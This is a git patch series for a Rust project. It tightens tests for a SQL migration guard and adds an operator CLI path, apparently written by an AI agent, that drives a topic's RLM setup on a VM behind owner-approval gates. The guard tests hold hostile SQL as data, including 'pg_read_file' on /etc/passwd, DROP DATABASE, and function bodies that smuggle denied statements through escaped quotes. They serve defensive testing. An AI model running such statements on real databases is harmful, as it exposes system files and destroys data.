(topic_id)"), ] { let err = check_migration(&sql, TOPIC).expect_err(&format!("{sql:?} must be refused")); - let InstallError::MigrationDenied { what, why, .. } = &err else { - panic!("{sql:?}: expected MigrationDenied, got {err:?}"); - }; + let MigrationDenied { what, why, .. } = &err; assert!( what.to_lowercase().contains(&table.to_lowercase()) || why.to_lowercase().contains("proof_"), @@ -133,10 +129,7 @@ fn privilege_and_session_control_are_refused() { "NOTIFY channel", ] { let err = check_migration(sql, TOPIC).expect_err(sql); - assert!( - matches!(err, InstallError::MigrationDenied { .. }), - "{sql}: {err:?}" - ); + assert!(matches!(err, MigrationDenied { .. }), "{sql}: {err:?}"); } } @@ -215,10 +208,7 @@ fn maintenance_verbs_are_refused() { "REINDEX TABLE tb4_scratch", ] { let err = check_migration(sql, TOPIC).expect_err(sql); - assert!( - matches!(err, InstallError::MigrationDenied { .. }), - "{sql}: {err:?}" - ); + assert!(matches!(err, MigrationDenied { .. }), "{sql}: {err:?}"); } } @@ -244,20 +234,17 @@ fn a_topic_may_only_touch_its_own_namespace() { "SELECT * FROM miners", ] { let err = check_migration(sql, TOPIC).expect_err(&format!("{sql:?} must be refused")); - assert!( - matches!(err, InstallError::MigrationDenied { .. }), - "{sql}: {err:?}" - ); + assert!(matches!(err, MigrationDenied { .. }), "{sql}: {err:?}"); } } -/// The topic's own namespace — `tb4_*`, `topic_*`, and `tb4.…` — is allowed, -/// in every verb a migration legitimately needs. +/// The topic's own namespace — `tb4_*` and `tb4.…` — is allowed, in every +/// verb a migration legitimately needs. #[test] fn a_topics_own_namespace_is_allowed() { for sql in [ "CREATE TABLE tb4_scratch (id TEXT)", - "CREATE TABLE topic_scores (id TEXT, value DOUBLE PRECISION)", + "CREATE TABLE tb4_scores (id TEXT, value DOUBLE PRECISION)", "CREATE INDEX tb4_scratch_idx ON tb4_scratch (id)", "ALTER TABLE tb4_scratch ADD COLUMN note TEXT", "INSERT INTO tb4_scratch (id) VALUES ('a')", @@ -275,7 +262,6 @@ fn a_topics_own_namespace_is_allowed() { // A sibling topic's namespace is not the topic's, even though it looks // similar: the prefix has to match the topic's own id. assert!(is_topic_scoped("tb4_scratch", "tb4")); - assert!(is_topic_scoped("topic_scratch", "tb4")); assert!(is_topic_scoped("tb4.runs", "tb4")); assert!(!is_topic_scoped("tb40_scratch", "tb4")); assert!(!is_topic_scoped("tb_scratch", "tb4")); @@ -293,10 +279,7 @@ fn quoted_identifiers_cannot_smuggle_a_denied_object() { r#"CREATE TABLE "scores" (id TEXT)"#, ] { let err = check_migration(sql, TOPIC).expect_err(&format!("{sql:?} must be refused")); - assert!( - matches!(err, InstallError::MigrationDenied { .. }), - "{sql}: {err:?}" - ); + assert!(matches!(err, MigrationDenied { .. }), "{sql}: {err:?}"); } } @@ -334,10 +317,7 @@ fn case_and_whitespace_do_not_evade_the_guard() { "sElEcT * FrOm PrOoF_rUlE_vErSiOn", ] { let err = check_migration(sql, TOPIC).expect_err(sql); - assert!( - matches!(err, InstallError::MigrationDenied { .. }), - "{sql}: {err:?}" - ); + assert!(matches!(err, MigrationDenied { .. }), "{sql}: {err:?}"); } } @@ -355,6 +335,106 @@ fn a_dollar_quoted_body_is_scanned_not_trusted() { ); } +/// A **single-quoted** function body is scanned too. +/// +/// `PostgreSQL` accepts a function body as a string literal: +/// +/// ```sql +/// CREATE FUNCTION f() RETURNS void AS 'DELETE FROM proof_rule_version' LANGUAGE sql; +/// ``` +/// +/// A string literal is normally *data*, so the scanner blanks it — which +/// would have let a topic install a function reaching a protected object +/// simply by wrapping the statement in `AS '…'`. The body of a function +/// definition is code, so it is decoded and scanned as well. +#[test] +fn a_single_quoted_function_body_is_scanned_not_trusted() { + refused( + "CREATE FUNCTION tb4_f() RETURNS void AS 'DELETE FROM proof_rule_version' LANGUAGE sql", + "proof_", + ); + refused( + "CREATE FUNCTION tb4_f() RETURNS void AS 'GRANT ALL ON tb4_x TO base_app' LANGUAGE sql", + "GRANT", + ); + refused( + "CREATE FUNCTION tb4_f() RETURNS void AS 'DROP DATABASE base' LANGUAGE sql", + "DROP DATABASE", + ); + refused( + "CREATE FUNCTION tb4_f() RETURNS void AS 'SELECT pg_read_file($$/etc/passwd$$)' LANGUAGE sql", + "pg_read_file", + ); + // A literal that is *not* a function body stays data: a topic may store + // the text of a denied statement without executing it. + allowed("INSERT INTO tb4_notes (body) VALUES ('DELETE FROM proof_rule_version')"); + // And a function body that stays inside the topic's namespace is fine. + allowed("CREATE FUNCTION tb4_f() RETURNS void AS 'INSERT INTO tb4_log (m) VALUES ($$ok$$)' LANGUAGE sql"); +} + +/// A doubled quote inside a single-quoted body is decoded before scanning, so +/// an escaped spelling cannot hide a denied statement. +#[test] +fn an_escaped_quote_in_a_function_body_does_not_hide_a_denied_statement() { + refused( + "CREATE FUNCTION tb4_f() RETURNS void AS 'SELECT ''x''; DROP TABLE proof_topic_version;' LANGUAGE sql", + "proof_", + ); + refused( + "CREATE FUNCTION tb4_f() RETURNS void AS 'SELECT ''pg_read_file''; SELECT pg_read_file($$/etc/passwd$$)' LANGUAGE sql", + "pg_read_file", + ); +} + +/// The generic `topic_` prefix is **not** an isolation boundary. +/// +/// Every topic shares one database, so a bare `topic_scores` is one table that +/// every topic's install can reach: approving it for topic A would let A +/// write, truncate, or redefine the table B created. Only the topic's own +/// namespace counts. +#[test] +fn the_generic_topic_prefix_is_not_a_shared_namespace() { + for sql in [ + "CREATE TABLE topic_scores (id TEXT)", + "UPDATE topic_victim_private SET value = 'compromised'", + "DELETE FROM topic_victim_private", + "TRUNCATE topic_shared", + "DROP TABLE topic_scores", + "INSERT INTO topic_scores (id) VALUES ('x')", + "ALTER TABLE topic_scores ADD COLUMN evil TEXT", + ] { + let err = check_migration(sql, TOPIC).expect_err(&format!("{sql:?} must be refused")); + assert!(matches!(err, MigrationDenied { .. }), "{sql}: {err:?}"); + } + // The topic's own namespace is still the topic's. + allowed("CREATE TABLE tb4_scores (id TEXT)"); + allowed("CREATE TABLE tb4.topic_scores (id TEXT)"); + assert!(!is_topic_scoped("topic_scores", "tb4")); + assert!(!is_topic_scoped("topic_scratch", "tb4")); + assert!(is_topic_scoped("tb4_scratch", "tb4")); + assert!(is_topic_scoped("tb4.topic_scratch", "tb4")); +} + +/// One topic's namespace is not another's, whatever the prefix resembles. +#[test] +fn a_sibling_topics_namespace_is_refused() { + for (sql, topic) in [ + ("UPDATE tb4_scores SET value = 'x'", "tb9"), + ("SELECT * FROM tb9_scratch", "tb4"), + ("DELETE FROM tb4_log", "tb40"), + ("INSERT INTO tb4_runs (a) VALUES (1)", "tb"), + ] { + let err = check_migration(sql, topic).expect_err(&format!("{sql:?} for {topic:?}")); + assert!( + matches!(err, MigrationDenied { .. }), + "{sql:?} for {topic:?}: {err:?}" + ); + } + // The same statement is legal for the topic that owns the namespace. + allowed("UPDATE tb4_scores SET value = 'x'"); + allowed("SELECT * FROM tb4_scratch"); +} + /// A multi-statement migration is refused as a whole: the ordinal names the /// offending statement, and the good statements before it do not save it. #[test] @@ -362,9 +442,7 @@ fn a_denied_statement_refuses_the_whole_migration_and_names_its_ordinal() { let sql = "CREATE TABLE tb4_ok (id TEXT); INSERT INTO tb4_ok (id) VALUES ('a'); \ DROP TABLE proof_rule_version;"; let err = check_migration(sql, TOPIC).expect_err("third statement is denied"); - let InstallError::MigrationDenied { ordinal, what, .. } = err else { - panic!("expected MigrationDenied, got {err:?}"); - }; + let MigrationDenied { ordinal, what, .. } = err; assert_eq!(ordinal, 3, "the refusal must name the offending statement"); assert!(what.contains("proof_"), "{what}"); @@ -380,10 +458,7 @@ fn a_denied_statement_refuses_the_whole_migration_and_names_its_ordinal() { fn an_empty_migration_is_refused() { for sql in ["", " ", "\n\n", "-- only a comment\n", "/* nothing */"] { let err = check_migration(sql, TOPIC).expect_err(sql); - assert!( - matches!(err, InstallError::MigrationDenied { .. }), - "{sql:?}: {err:?}" - ); + assert!(matches!(err, MigrationDenied { .. }), "{sql:?}: {err:?}"); } } From f6dd88098cef93a235577cb6605d30664f7d0577 Mon Sep 17 00:00:00 2001 From: DroidAgent <154886644+echobt@users.noreply.github.com> Date: Mon, 14 Sep 2026 16:28:16 +0000 Subject: [PATCH 06/11] DroidAgent da-9f68584e: SN100 P1a RLM topic install executor --- Cargo.lock | 16 ++ bins/proof-admin/Cargo.toml | 3 + bins/proof-admin/src/drive.rs | 255 ++++++++++++++++++ bins/proof-admin/src/install.rs | 130 ++++++--- bins/proof-admin/src/main.rs | 15 ++ crates/proof-rlm-scorer/Cargo.toml | 1 + crates/proof-rlm-scorer/src/lib.rs | 4 +- crates/proof-rlm-scorer/tests/rlm_e2e.rs | 146 +++++++++- crates/proof-topic-setup/Cargo.toml | 22 ++ .../setup.rs => proof-topic-setup/src/lib.rs} | 77 +++++- 10 files changed, 626 insertions(+), 43 deletions(-) create mode 100644 bins/proof-admin/src/drive.rs create mode 100644 crates/proof-topic-setup/Cargo.toml rename crates/{proof-rlm-scorer/src/setup.rs => proof-topic-setup/src/lib.rs} (81%) diff --git a/Cargo.lock b/Cargo.lock index 3432426e0..1c64338f6 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3695,9 +3695,12 @@ dependencies = [ "proof-task", "proof-topic-bundle", "proof-topic-install", + "proof-topic-setup", + "proof-vm-fc", "reqwest 0.12.28", "serde", "serde_json", + "sqlx", "tokio", ] @@ -3964,6 +3967,7 @@ dependencies = [ "proof-store", "proof-submit", "proof-task", + "proof-topic-setup", "serde", "serde_json", "sha2 0.10.9", @@ -4074,6 +4078,18 @@ dependencies = [ "tokio", ] +[[package]] +name = "proof-topic-setup" +version = "0.1.0" +dependencies = [ + "proof-eval", + "proof-rlm", + "proof-rlm-store", + "proof-task", + "thiserror 2.0.19", + "tokio", +] + [[package]] name = "proof-topic-sql-guard" version = "0.1.0" diff --git a/bins/proof-admin/Cargo.toml b/bins/proof-admin/Cargo.toml index 93866982b..abac08937 100644 --- a/bins/proof-admin/Cargo.toml +++ b/bins/proof-admin/Cargo.toml @@ -20,9 +20,12 @@ proof-rlm-store = { path = "../../crates/proof-rlm-store" } proof-task = { path = "../../crates/proof-task" } proof-topic-bundle = { path = "../../crates/proof-topic-bundle" } proof-topic-install = { path = "../../crates/proof-topic-install" } +proof-topic-setup = { path = "../../crates/proof-topic-setup" } +proof-vm-fc = { path = "../../crates/proof-vm-fc" } reqwest = { version = "0.12", default-features = false, features = ["rustls-tls", "json"] } serde = { version = "1", features = ["derive"] } serde_json = "1" +sqlx = { version = "0.8", features = ["runtime-tokio", "postgres", "json"] } tokio = { version = "1", features = ["macros", "rt-multi-thread"] } [dev-dependencies] diff --git a/bins/proof-admin/src/drive.rs b/bins/proof-admin/src/drive.rs new file mode 100644 index 000000000..b8135626c --- /dev/null +++ b/bins/proof-admin/src/drive.rs @@ -0,0 +1,255 @@ +//! Driving the topic's RLM setup from the operator CLI. +//! +//! `topic install --drive-rlm` runs the **real** [`TopicSetup`] over the +//! topic-VM orchestrator: it asks the RLM inside its own VM to provision, to +//! write its rules, and — unless `--skip-baseline` — to measure a baseline. +//! This is the same driver the challenge service uses; the CLI does not have +//! a second, weaker path. +//! +//! # What it needs, and why each is a gate +//! +//! | Need | Why | +//! |------|-----| +//! | `PROOF_VM_ORCHESTRATOR_URL` + token file + `PROOF_RLM_VM_IMAGE_DIGEST` | the VM boundary; unwired → refuse, never a host fallback | +//! | an owner hook | the lifecycle asks the owner before provisioning; the CLI's hook is the operator's `--owner-approved` | +//! | an owner key probe | `awaiting_owner_keys` advances only when the key file is present | +//! | a live `InferenceOffer` | the baseline is a paid run and needs a judge offer | +//! | `--owner-approved` | the flag that asserts an Owner authorized the VM and the spend | +//! +//! Every one of those is checked **before** the first job is forwarded, and a +//! missing piece stops the driver where it is with the reason. Nothing here +//! falls back to running on the control-plane host. + +use std::path::Path; +use std::sync::Arc; + +use proof_rlm::{ + FileKeysProbe, OwnerDecision, OwnerHook, OwnerKeysProbe, StaticOwnerHook, VmError, + RLM_VM_IMAGE_DIGEST_ENV, VM_ORCHESTRATOR_TOKEN_FILE_ENV, VM_ORCHESTRATOR_URL_ENV, +}; +use proof_rlm_store::{PgRlmStore, RlmStore}; +use proof_task::{InferenceOffer, ProofPin, TopicDocument}; +use proof_topic_setup::{SetupError, SetupOutcome, TopicSetup}; + +use crate::Failure; + +/// What driving the RLM produced, for the install report and the operator. +pub struct DriveOutcome { + /// Rule version the RLM wrote. + pub rules_version: u32, + /// The baseline primary, when one was measured. + pub baseline_primary: Option, + /// The topic's VM id. + pub vm_id: String, + /// The lifecycle state the driver left the topic in. + pub state: String, +} + +impl DriveOutcome { + /// One-line summary for the operator. + #[must_use] + pub fn summary(&self) -> String { + match self.baseline_primary { + Some(v) => format!( + "the RLM wrote rules v{} and measured a baseline of {v} on vm {}", + self.rules_version, self.vm_id + ), + None => format!( + "the RLM wrote rules v{} on vm {} (no baseline: --skip-baseline)", + self.rules_version, self.vm_id + ), + } + } +} + +/// Drive the RLM setup for `topic`. +/// +/// # Errors +/// +/// [`Failure::Usage`] for a missing piece of host configuration (naming the +/// env var), [`Failure::Error`] for a refusal from the orchestrator, the +/// lifecycle, or the store. +pub async fn drive( + topic: &TopicDocument, + pin: &ProofPin, + store: PgRlmStore, + skip_baseline: bool, + owner_approved: bool, + orchestrator_url: Option<&str>, + orchestrator_token_file: Option<&Path>, + rlm_image_digest: Option<&str>, + offer: Option, + owner_key_file: Option<&Path>, +) -> Result { + if !owner_approved { + return Err(Failure::Usage( + "driving the RLM provisions a topic VM and runs a paid baseline, so it requires \ + --owner-approved." + .to_owned(), + )); + } + // The VM boundary. `FirecrackerOrchestrator::from_env` is the same reader + // the challenge service uses; the CLI does not re-implement it, so a host + // wired for scoring is wired for install and vice versa. + let orchestrator = resolve_orchestrator( + orchestrator_url, + orchestrator_token_file, + rlm_image_digest, + )?; + // A baseline is a paid run: without an offer there is nothing to measure + // against. `--skip-baseline` is the path that does not need one. + if offer.is_none() && !skip_baseline { + return Err(Failure::Usage( + "the RLM's baseline is a paid run that needs a live judge offer: set \ + PROOF_INFERENCE_OFFER_FILE to an open InferenceOffer (or pass --skip-baseline to \ + install the rules without measuring one). Without a baseline the topic cannot open \ + anyway." + .to_owned(), + )); + } + // The lifecycle asks the owner before provisioning and probes for the key + // file before it advances. The CLI's hook is the operator's own assertion + // (`--owner-approved`), which the caller has already checked; the probe is + // the real file check, so a topic that cannot reach its key stops rather + // than provisioning. + let keys = resolve_keys(owner_key_file); + let owner: Arc = Arc::new(StaticOwnerHook(OwnerDecision::Approve)); + let setup = TopicSetup { + orchestrator, + store: Arc::new(store) as Arc, + template: proof_rlm::VmTemplate::from_env(), + experiments: proof_rlm::ExperimentPolicy::from_env().map_err(|e| { + Failure::Usage(format!( + "the per-experiment VM policy is malformed: {e}. Fix the \ + PROOF_EXPERIMENT_VM_* env before driving the RLM." + )) + })?, + owner, + keys, + spend_cap_usd: None, + skip_baseline, + }; + // `offer` is required unless `skip_baseline`: the baseline is the only + // consumer, so a skipping run never needs one and is never handed a + // placeholder. + let outcome = setup + .run(topic, pin, offer.as_ref()) + .await + .map_err(|e| Failure::Error(drive_failure(&e)))?; + Ok(outcome_summary(outcome)) +} + +/// The live orchestrator, or a refusal naming what is missing. +fn resolve_orchestrator( + url: Option<&str>, + token_file: Option<&Path>, + image_digest: Option<&str>, +) -> Result, Failure> { + // Presence only: `FirecrackerOrchestrator::from_env` reads the env itself, + // so the CLI checks that each piece *is* set (and names the missing one) + // without duplicating the client's parsing and validation. + if url.map(str::trim).filter(|u| !u.is_empty()).is_none() { + return Err(Failure::Usage(format!( + "driving the RLM needs the topic-VM orchestrator: set {VM_ORCHESTRATOR_URL_ENV} \ + (https, the KVM host agent) plus {VM_ORCHESTRATOR_TOKEN_FILE_ENV} and \ + {RLM_VM_IMAGE_DIGEST_ENV}. Nothing is driven on the control-plane host — that is the \ + boundary, not a fallback." + ))); + } + if token_file.is_none() { + return Err(Failure::Usage(format!( + "driving the RLM needs {VM_ORCHESTRATOR_TOKEN_FILE_ENV}: a file holding the bearer \ + for the topic-VM orchestrator. It is re-read per request and never logged." + ))); + } + if image_digest.map(str::trim).filter(|d| !d.is_empty()).is_none() { + return Err(Failure::Usage(format!( + "driving the RLM needs {RLM_VM_IMAGE_DIGEST_ENV}: the sha256 digest of the RLM VM \ + image the orchestrator boots. A digest is never invented." + ))); + } + match proof_vm_fc::FirecrackerOrchestrator::from_env() { + Ok(Some(fc)) => Ok(Arc::new(fc)), + Ok(None) => Err(Failure::Usage(format!( + "no topic-VM orchestrator resolved from {VM_ORCHESTRATOR_URL_ENV} / \ + {VM_ORCHESTRATOR_TOKEN_FILE_ENV} / {RLM_VM_IMAGE_DIGEST_ENV}" + ))), + Err(e) => Err(Failure::Usage(format!( + "the topic-VM orchestrator configuration was refused: {e}" + ))), + } +} + +/// The owner key probe: the file if given, else the env-configured one. +fn resolve_keys(owner_key_file: Option<&Path>) -> Arc { + match owner_key_file { + Some(path) => Arc::new(FileKeysProbe::new(path)), + None => match FileKeysProbe::from_env() { + Some(probe) => Arc::new(probe), + None => Arc::new(NoKeys), + }, + } +} + +/// A probe that always refuses, naming what to set. +/// +/// The lifecycle stops at `awaiting_owner_keys` rather than proceeding, which +/// is the fail-closed direction: a topic that cannot reach its owner key is +/// not provisioned. +struct NoKeys; + +impl OwnerKeysProbe for NoKeys { + fn owner_keys_present(&self) -> Result<(), proof_rlm::HookError> { + Err(proof_rlm::HookError::Failed(format!( + "no owner key file configured: set {} (or pass --owner-key-file) to the file \ + holding the owner's inference key", + proof_rlm::OWNER_INFERENCE_KEY_FILE_ENV + ))) + } +} + +/// Turn a setup refusal into an operator instruction. +fn drive_failure(err: &SetupError) -> String { + let base = format!("driving the RLM stopped: {err}"); + let guidance = match err { + SetupError::Declined(_) => { + "The owner declined, so the topic is back at draft and nothing was provisioned." + } + SetupError::State(proof_rlm::StateError::KeysMissing(_)) => { + "The lifecycle stopped at `awaiting_owner_keys`: the owner key file is missing or \ + empty. Provide it and re-run; the driver resumes from the persisted state." + } + SetupError::Vm(VmError::NotWired(_)) => { + "The topic-VM orchestrator is not wired on this host. Fix the env and re-run; nothing \ + ran on the control-plane host." + } + SetupError::Vm(_) => { + "The orchestrator refused or the job failed. The lifecycle is left where it stopped, \ + so a re-run resumes rather than restarts. A failed baseline run retains its guest on \ + the KVM host for root-cause analysis." + } + SetupError::NotCustom(_) => { + "Only a custom-family topic has an RLM to drive; nothing else was changed." + } + _ => "The lifecycle is left where it stopped (persisted), so a re-run resumes.", + }; + format!( + "{base}\n {guidance}\n The install journal still records what the static half applied; \ + `proof-admin topic install-log --topic ` reads it back." + ) +} + +/// Summarize what the driver returned. +fn outcome_summary(outcome: SetupOutcome) -> DriveOutcome { + let measured = outcome.measured_baseline(); + DriveOutcome { + rules_version: outcome.rules_version, + baseline_primary: outcome.baseline_primary, + vm_id: outcome.vm.vm_id, + state: if measured { + "baselining (the operator seals next)".to_owned() + } else { + "baselining (no baseline measured: --skip-baseline)".to_owned() + }, + } +} diff --git a/bins/proof-admin/src/install.rs b/bins/proof-admin/src/install.rs index 079879733..97755716d 100644 --- a/bins/proof-admin/src/install.rs +++ b/bins/proof-admin/src/install.rs @@ -32,9 +32,11 @@ //! install journal (`proof_topic_install`) records the attempt so the next //! run resumes from the migrations that already applied. -use std::path::Path; +use std::path::{Path, PathBuf}; +use proof_rlm::{RLM_VM_IMAGE_DIGEST_ENV, VM_ORCHESTRATOR_TOKEN_FILE_ENV, VM_ORCHESTRATOR_URL_ENV}; use proof_rlm_store::{PgRlmStore, RlmStore}; +use proof_task::{InferenceOffer, ProofPin, TopicDocument}; use proof_topic_bundle::{InstallEnvironment, TopicInstallBundle, TopicInstallPlan}; use proof_topic_install::install::{InstallRequest, Installer, SetupSummary}; use proof_topic_install::InstallError; @@ -74,6 +76,10 @@ pub struct InstallArgs<'a> { pub admin_token_file: Option<&'a Path>, /// Drive the RLM setup over the topic-VM orchestrator. pub drive_rlm: bool, + /// Live judge offer the baseline's paid run needs. + pub inference_offer_file: Option<&'a Path>, + /// Owner inference key file the lifecycle's key probe checks. + pub owner_key_file: Option<&'a Path>, } /// Run `topic install`. @@ -137,7 +143,7 @@ pub async fn run(opts: &Options, args: &InstallArgs<'_>) -> Result<(), Failure> return Ok(()); } - run_real(opts, args, &bundle, &plan).await + run_real(opts, args, &bundle, &plan, &pin).await } /// The real install. @@ -146,6 +152,7 @@ async fn run_real( args: &InstallArgs<'_>, bundle: &TopicInstallBundle, plan: &TopicInstallPlan, + pin: &ProofPin, ) -> Result<(), Failure> { // The bearer and the URL are resolved before anything is written, so a // misconfiguration cannot leave a half-installed topic. @@ -187,7 +194,35 @@ async fn run_real( pool: &pool, store: &store, }; - let setup = setup_summary(args, plan, &store).await; + // The RLM setup is driven **after** the static half lands, so the rules + // the driver proposes supersede a version the topic already has rather + // than being overwritten by the bundle's vector. + let driven = if args.drive_rlm { + if !opts.json { + println!(" (driving the RLM: provision → rules → baseline)"); + } + Some(drive_rlm(args, &bundle.topic, pin, &pool, &store).await?) + } else { + None + }; + let setup = match &driven { + Some(outcome) => match outcome.baseline_primary { + Some(v) => SetupSummary::Baselined { + rules_version: outcome.rules_version, + baseline_primary: format!("{v}"), + }, + None => SetupSummary::Skipped { + reason: "--skip-baseline: the RLM's rules were installed, no baseline was \ + measured" + .to_owned(), + }, + }, + None => SetupSummary::NotDriven { + reason: "not driven: --drive-rlm was not given, so no VM was provisioned and no \ + baseline was run" + .to_owned(), + }, + }; let report = installer .install( &InstallRequest { @@ -205,6 +240,10 @@ async fn run_real( if !opts.json { print_install_report(&report); + if let Some(outcome) = &driven { + println!(" rlm_drive {}", outcome.summary()); + println!(" lifecycle {}", outcome.state); + } } // Aliases last: they are a lookup convenience, so a failure here leaves @@ -257,37 +296,66 @@ async fn run_real( Ok(()) } -/// What the RLM setup step did, resolved without running it here. +/// Read the live judge offer the baseline's paid run needs. /// -/// The setup itself is driven over the topic-VM orchestrator, which is a KVM -/// host: `--drive-rlm` is the operator's assertion that this host is allowed -/// to provision and spend. Without it the install says plainly that it did -/// not drive the RLM, so the journal and the operator output agree. -async fn setup_summary( +/// Read and validated here rather than inside the driver so a misconfigured +/// offer is a usage error **before** the static half writes anything: an +/// install that applies migrations and then discovers it cannot measure a +/// baseline would leave a topic that is half-installed for no reason. +fn load_offer(path: Option<&Path>, pin: &ProofPin) -> Result { + let Some(path) = path else { + return Err(Failure::Usage(format!( + "driving the RLM measures a baseline, which is a paid run that needs a live judge \ + offer: set PROOF_INFERENCE_OFFER_FILE (or pass --inference-offer-file). To install \ + without measuring one, add --skip-baseline — but note the topic cannot open until a \ + baseline is sealed." + ))); + }; + let body = std::fs::read_to_string(path) + .map_err(|e| Failure::Error(format!("read {}: {e}", path.display())))?; + let offer = InferenceOffer::from_json(&body) + .map_err(|e| Failure::Error(format!("{}: {e}", path.display())))?; + offer + .validate(pin) + .map_err(|e| Failure::Error(format!("{}: {e}", path.display())))?; + Ok(offer) +} + +/// Drive the topic's RLM setup over the topic-VM orchestrator. +/// +/// With `--skip-baseline` the offer is not needed: no paid run happens, so a +/// missing offer is not an error on that path. +async fn drive_rlm( args: &InstallArgs<'_>, - plan: &TopicInstallPlan, + topic: &TopicDocument, + pin: &ProofPin, + pool: &sqlx::PgPool, store: &PgRlmStore, -) -> SetupSummary { - if args.drive_rlm { - // The setup runs after the rules land; its own summary is written by - // the caller of the install (this CLI) once it returns. - return SetupSummary::Skipped { - reason: if args.skip_baseline { - "--skip-baseline: the RLM's rules were installed, no baseline was measured" - .to_owned() - } else { - "the RLM setup is driven by the operator over the topic-VM orchestrator".to_owned() - }, - }; - } - let rules = store.current_rules(&plan.topic_id).await.ok().flatten(); - let version = rules.as_ref().map_or(1, |r| r.version); - SetupSummary::NotDriven { - reason: format!( - "not driven: --drive-rlm was not given, so no VM was provisioned and no baseline was \ - run (rules are at version {version})" - ), - } +) -> Result { + let _ = store; + let offer = if args.skip_baseline { + None + } else { + Some(load_offer(args.inference_offer_file, pin)?) + }; + let url = std::env::var(VM_ORCHESTRATOR_URL_ENV).ok(); + let token = std::env::var(VM_ORCHESTRATOR_TOKEN_FILE_ENV) + .ok() + .map(|p| PathBuf::from(p.trim().to_owned())); + let digest = std::env::var(RLM_VM_IMAGE_DIGEST_ENV).ok(); + crate::drive::drive( + topic, + pin, + PgRlmStore::new(pool.clone()), + args.skip_baseline, + args.gates.owner_approved, + url.as_deref(), + token.as_deref(), + digest.as_deref(), + offer, + args.owner_key_file, + ) + .await } /// Print the install report. diff --git a/bins/proof-admin/src/main.rs b/bins/proof-admin/src/main.rs index 342f521fb..58fe80fdf 100644 --- a/bins/proof-admin/src/main.rs +++ b/bins/proof-admin/src/main.rs @@ -41,6 +41,7 @@ use proof_rlm_store::{MemoryRlmStore, PgRlmStore, RlmStore, TopicVersionRow}; use proof_task::ProofPin; use proof_topic_bundle::{InstallEnvironment, TopicInstallBundle, TopicInstallPlan, PUBLISH_PATH}; +mod drive; mod install; use install::InstallArgs; @@ -165,6 +166,16 @@ enum TopicCmd { /// provisions a VM and runs a paid baseline. #[arg(long)] owner_approved: bool, + /// Live RLM judge `InferenceOffer` JSON the baseline's paid run needs. + #[arg(long, env = "PROOF_INFERENCE_OFFER_FILE", value_name = "PATH")] + inference_offer_file: Option, + /// Owner inference key file the lifecycle's key probe checks. + #[arg( + long, + env = "PROOF_RLM_OWNER_INFERENCE_KEY_FILE", + value_name = "PATH" + )] + owner_key_file: Option, }, /// List installed topics: a read-only view of `proof_topic_version`. List, @@ -300,6 +311,8 @@ async fn run_topic(opts: &Options, cmd: &TopicCmd) -> Result<(), Failure> { admin_token_file, drive_rlm, owner_approved, + inference_offer_file, + owner_key_file, } => { let request = InstallArgs { bundle, @@ -314,6 +327,8 @@ async fn run_topic(opts: &Options, cmd: &TopicCmd) -> Result<(), Failure> { admin_url: admin_url.as_deref(), admin_token_file: admin_token_file.as_deref(), drive_rlm: *drive_rlm, + inference_offer_file: inference_offer_file.as_deref(), + owner_key_file: owner_key_file.as_deref(), }; cmd_install(opts, &request).await } diff --git a/crates/proof-rlm-scorer/Cargo.toml b/crates/proof-rlm-scorer/Cargo.toml index 487fac9aa..e25dfba1a 100644 --- a/crates/proof-rlm-scorer/Cargo.toml +++ b/crates/proof-rlm-scorer/Cargo.toml @@ -18,6 +18,7 @@ proof-results = { path = "../proof-results" } proof-rlm = { path = "../proof-rlm" } proof-rlm-store = { path = "../proof-rlm-store" } proof-score = { path = "../proof-score" } +proof-topic-setup = { path = "../proof-topic-setup" } proof-task = { path = "../proof-task" } serde = { version = "1", features = ["derive"] } serde_json = "1" diff --git a/crates/proof-rlm-scorer/src/lib.rs b/crates/proof-rlm-scorer/src/lib.rs index 306f2461a..e4bc9e9a6 100644 --- a/crates/proof-rlm-scorer/src/lib.rs +++ b/crates/proof-rlm-scorer/src/lib.rs @@ -35,7 +35,7 @@ mod artefact; mod scorer; -mod setup; + pub use artefact::{ artefact_path, is_safe_entry_path, max_zip_numeric_id, ArtefactBundle, ArtefactError, @@ -46,4 +46,4 @@ pub use artefact::{ }; pub use proof_results::RESULTS_FILE; pub use scorer::{RlmScorer, DEFAULT_LEASE_TTL}; -pub use setup::{SetupError, SetupOutcome, TopicSetup}; +pub use proof_topic_setup::{SetupError, SetupOutcome, TopicSetup}; diff --git a/crates/proof-rlm-scorer/tests/rlm_e2e.rs b/crates/proof-rlm-scorer/tests/rlm_e2e.rs index 8b96df596..02c454770 100644 --- a/crates/proof-rlm-scorer/tests/rlm_e2e.rs +++ b/crates/proof-rlm-scorer/tests/rlm_e2e.rs @@ -1054,11 +1054,12 @@ async fn topic_setup_walks_the_lifecycle_over_the_vm_boundary() { })), keys: Arc::new(FileKeysProbe::new(&key)), spend_cap_usd: Some(10.0), + skip_baseline: false, }; // A decline returns to draft; nothing is provisioned. let err = setup - .run(&draft, &pin, &offer()) + .run(&draft, &pin, Some(&offer())) .await .expect_err("declined"); assert!(matches!(err, SetupError::Declined(_)), "{err}"); @@ -1070,7 +1071,7 @@ async fn topic_setup_walks_the_lifecycle_over_the_vm_boundary() { // Approved but no key file: stops at awaiting_owner_keys, nothing provisioned. setup.owner = Arc::new(StaticOwnerHook(OwnerDecision::Approve)); - let err = setup.run(&draft, &pin, &offer()).await.expect_err("no key"); + let err = setup.run(&draft, &pin, Some(&offer())).await.expect_err("no key"); assert!(err.to_string().contains("owner keys not present"), "{err}"); assert_eq!( rlm_store.lifecycle(&draft.id).await.unwrap().unwrap().state, @@ -1082,9 +1083,9 @@ async fn topic_setup_walks_the_lifecycle_over_the_vm_boundary() { // (custom / agent setup does not gate on FLOP accounting). std::fs::write(&key, "not-a-real-secret\n").unwrap(); orchestrator.set_flops_used(None); - let out = setup.run(&draft, &pin, &offer()).await.expect("setup"); + let out = setup.run(&draft, &pin, Some(&offer())).await.expect("setup"); assert_eq!(out.rules_version, 1); - assert!((out.baseline_primary - 0.42).abs() < 1e-12); + assert!((out.baseline_primary.expect("measured") - 0.42).abs() < 1e-12); assert_eq!( orchestrator.created(), 1, @@ -1243,9 +1244,10 @@ async fn an_experiment_topic_measures_its_baseline_in_a_dedicated_vm() { owner: Arc::new(StaticOwnerHook(OwnerDecision::Approve)), keys: Arc::new(FileKeysProbe::new(&key)), spend_cap_usd: None, + skip_baseline: false, }; - let out = setup.run(&draft, &pin, &offer()).await.expect("setup"); - assert!((out.baseline_primary - 0.61).abs() < 1e-12); + let out = setup.run(&draft, &pin, Some(&offer())).await.expect("setup"); + assert!((out.baseline_primary.expect("measured") - 0.61).abs() < 1e-12); assert_eq!( orchestrator.created(), 2, @@ -1287,7 